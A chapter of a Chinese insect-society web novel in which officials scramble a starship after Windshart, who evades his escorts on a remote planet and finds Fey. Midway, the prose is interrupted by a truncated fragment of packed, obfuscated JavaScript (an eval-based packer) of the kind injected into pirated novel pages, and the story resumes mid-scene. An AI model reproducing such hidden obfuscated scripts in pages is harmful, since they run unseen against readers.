听见这声强有力的呼唤,莱利停下登舰的脚步,抬眸回望。 一辆纯黑机车漂移到位。 阿舍尔翻身下车,几步跨上台阶,仿佛怕莱利逃了似的紧紧抓住他手腕,“温德夏特呢?” “…阁下去了个很危险的地方。” “危险?有多危险?怎么连这种级别的星舰都搬出来了!” 莱利低下头,声音颤抖,“他不会死的…我们正要去把他带回来。我不会让他死的。” 阿舍尔听见这话,太阳穴直跳,心底更是一阵阵发慌,“快联系当地雄保协会把他押回来啊!特殊情况下,对雄虫动用一些强制手段也是被允许的吧?” “已经联系了,已经把能做的都办扎实了。”莱利被疾风吹得摇来晃去,扶住把杆,眼眶和鼻头都红着,“但还是要去一趟才能安心,你回去备考吧,有消息我通知你。” “都现在这样了,我管那狗日的期中考试?他一死,我的小命也得跟着丢,打出来个年级第一又有屁用?阎王爷可不认我们这儿的凭证——” “你死不了。” 莱利顶风掏出一份文件,纸张翻得哗哗作响,“解约文件,我已经签好字了,你一落笔就能重获自由身。那三百万也不用你掏,等阁下安全归来,我会自费补上这个窟窿。” 阿舍尔一怔,“你都知道了…他全都告诉你了?” “没有,”莱利摇头,“你别忘了我的老本行,情报官情报官,真当这个岗位是吃白饭的?连我自家雄主干了什么都查不清?” 莱利越说心里越酸,把文件往前一递,“速度拿走,我现在耽误不起。” 阿舍尔抬手悍戾一挥,“去你大爷的文件,我要他活着!” 纸片刹那间扬了满天,被巨大的军舰闪光灯照亮,在夜幕里打散打乱,像无数例正在惨叫的灰白的鬼魂。 阿舍尔见状反而安心了,仿佛确信能拿自己的命捆住温德夏特的命。他呼哧呼哧喘粗气,嘀咕:“…他必须活着。” 莱利转身要走,“那就一起。” 阿舍尔快几步追上他,“你去干嘛?你个情报官,打起架来跟个白切鸡似的,不怕死?” “我要去见阁下。” 莱利闷头前行,仿佛下定了某种决心,“我要告诉他,他才是我想追随终生的虫。” 阿舍尔于是不做声了,登舰一看,更是连大气都不敢呼了。 环视周围——学校校长,雄保副主席,贾斯帕,卡修,希尔十三。 要么身份显赫,要么地位尊贵,全是跺一脚抖三抖的大人物。 他们的目光扫过刚进门的莱利和阿舍尔,又迅速折返,继续原先的讨论。 校长面色阴沉,“跟那边联系上了吗,进展怎么样?” 雄保协会副主席点头答应:“温德夏特从光环航站借了艘星舰,刚出去没多久,那边的雄保安排了五个应急小队去追……” 贾斯帕阻止他继续发声,提出异议:“他可滑溜了,逮不住的。” 卡修死攥着双手,“派高等机甲随行。不管后面有没有捞住他,都要确保他所在的星球上军力充沛,执行期间的一切损失都由康曼德家赔偿。” 副主席谨慎补充:“他离港的时候那台星舰上就载着七百台机甲。” 卡修不松口,“不够,再追加三千台,还有战士,也按数补过去,光有机甲没有战士作什么数?” 副主席刚想说话,舰长突然推开门示意: “各位阁下,星舰已经预热完毕,所有数据均在正常范围内,可以启航了。” *与此同时,W2231-0173星系。 渺小。 一艘孤零零的星舰正在全速前行。 温德夏特坐在主驾驶舱内怔怔出神。 真正一个人漂浮在宇宙中,那种感觉是与搭乘航空器截然不同的。 被死亡包裹,离群索居,心就像周围的太空一样冷寂。 舷窗之外闪烁着无数星群,看起来密集,像下一秒就要撞上了,但其实离得很远。 航道过于随意,哪里都可以飞行。 温德夏特不认识路。 外面的雨下得很大,在这里,雨的实质不是水,而是尘埃和垃圾。前挡风玻璃上铺满了泥点和碎石,温德夏特懒得清理,低头去校准光脑上的时间,依赖于星舰自带的导航系统航行。 星球透过满是污迹的舷窗,摇晃着,颠簸着,被灯点亮着。 温德夏特抬头,瞥一眼就失去了兴趣。星星们都大同小异,小小的圆圆的发着白光。他分不清哪个是哪个,也不在乎,他只想知道费伊在哪里。 应该就在某个小白点上,在视线范围以内。 宇宙中就是这样,索然无味重复的风景,叫人一遍又一遍坚定自己内心的想法,再也没什么能把他往回拽。 他是如此迫切地把自己挤向边缘。 一切都在有条不紊地发生。温德夏特已经算好了,自己在抵达后还有十八个小时可以用:先去看一眼费伊,然后睡上一觉,即使睡不着也要闭眼休息一会儿,最后——等到还有两个小时的时候——向整座星球公布他们即将死亡的噩耗。 用恐惧、疯狂和求生欲激发出他们的力量。 温德夏特正在脑海中细化计划,尖锐的机械音突然响起: “总部紧急呼叫星舰481号!” “总部紧急呼叫星舰481号!” “总部紧急呼叫……” 第三遍播报时,温德夏特终于被吵得受不了,按下通讯器,“喂?” 对面大喜过望,显然没想到自己能够播通,激动道:“阁下!阁下接了!” 温德夏特点点头,“确实还没死呢。” 那边传来一阵嘈杂,换了另一个虫讲话,这位的话术显然更圆滑老练: “…哈哈,您真是幽默!那个…尊贵的阁下啊,您客自远方来,没有听说这一带最近的乱象也很正常。那些偏远的星球上根本没什么好玩的,跟垃圾场没什么区别,不,简直比垃圾场还要恶劣!那里只有不间断飞行的子弹,破旧损毁的建筑物和低等的、野蛮的、还未开化的雌虫。您一路取道荒野,结果却大概率会不如您意,那样多不值当呀……是了,其实最好的风景就在现在,您可以看看外面的星星,平复一下心情……” 温德夏特不以为然抠手指,“好啊,我要静静地欣赏宇宙的和弦了,你还有什么要说的吗?” “阁下、阁下!如果您执意要去的话,我们这边安排了虫去接应!有几个靠谱的保镖跟着,您的虫身安全也能有个保障不是?” “啊…你说的有理,真是太贴心了。我该怎么跟他们对接?” “您在降落后原地不动就好,我们这边有星舰的实时定位,保镖会主动去找您的。” 温德夏特满心答应:“ok!” 落地后,他脚底抹油,直接开溜。 真当他傻,看不出来总部要抓他回去呢? 重新踏上这颗小破星球,一切都是如此熟悉。 温德夏特左拐右拐,沿着巷道进入一家小店。 这家店他前世就常来,一个看似出售劣质营养液,实则贩卖各种信息的好地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他已经太久没有睡觉了,去见费伊的激动一直支撑着他的眼皮,但现在,最后的兴奋剂都没了。 眼里太干涩,泪珠反而能润润。 温德夏特失了魂一样在街上游荡,没有目的地,一直踌躇到黑夜。视线一瞟,接触不良的路灯下,有个小雌虫踮着脚,努力去够上面的门铃。 温德夏特走过去,顺手帮他按了。 那小雌虫扬笑,“哥哥你真厉害!” 温德夏特牵强扯出一丝笑意,温柔哄着:“没什么的,快回家吧。” 小虫狠狠点头,“回家!回家!哥哥你也快回家,别被打了!” 那小雌虫这么说着,逐渐跑远了。 温德夏特嘴巴微张,刚反应过来不对,木门“吱呀”一声开了。 敞开条小缝,冒出个脑袋。 “有何贵干?” 温德夏特浑身一激灵,双目瞠圆——梦中出现过千万次的脸突然撞进视野,高浪一般翻搅着他。 他很想克制自己,但思念太强悍,控制中枢骤然停止了运转。 费伊啊…… 我看到你的短发正在羁旅,你的身影投在淡粉色的夜空里,你乘倒序的流星飞去,被遣返故乡,回到属于你的银河。 我在云云处想你,倒叙你的遗迹,再坠入你陨落的支流,吞吐你弥散前最后的雾气。 这里狭小,昏暗,破旧……一切都太暗淡了,除了你,费伊。 今夜,我们终于回到了起点。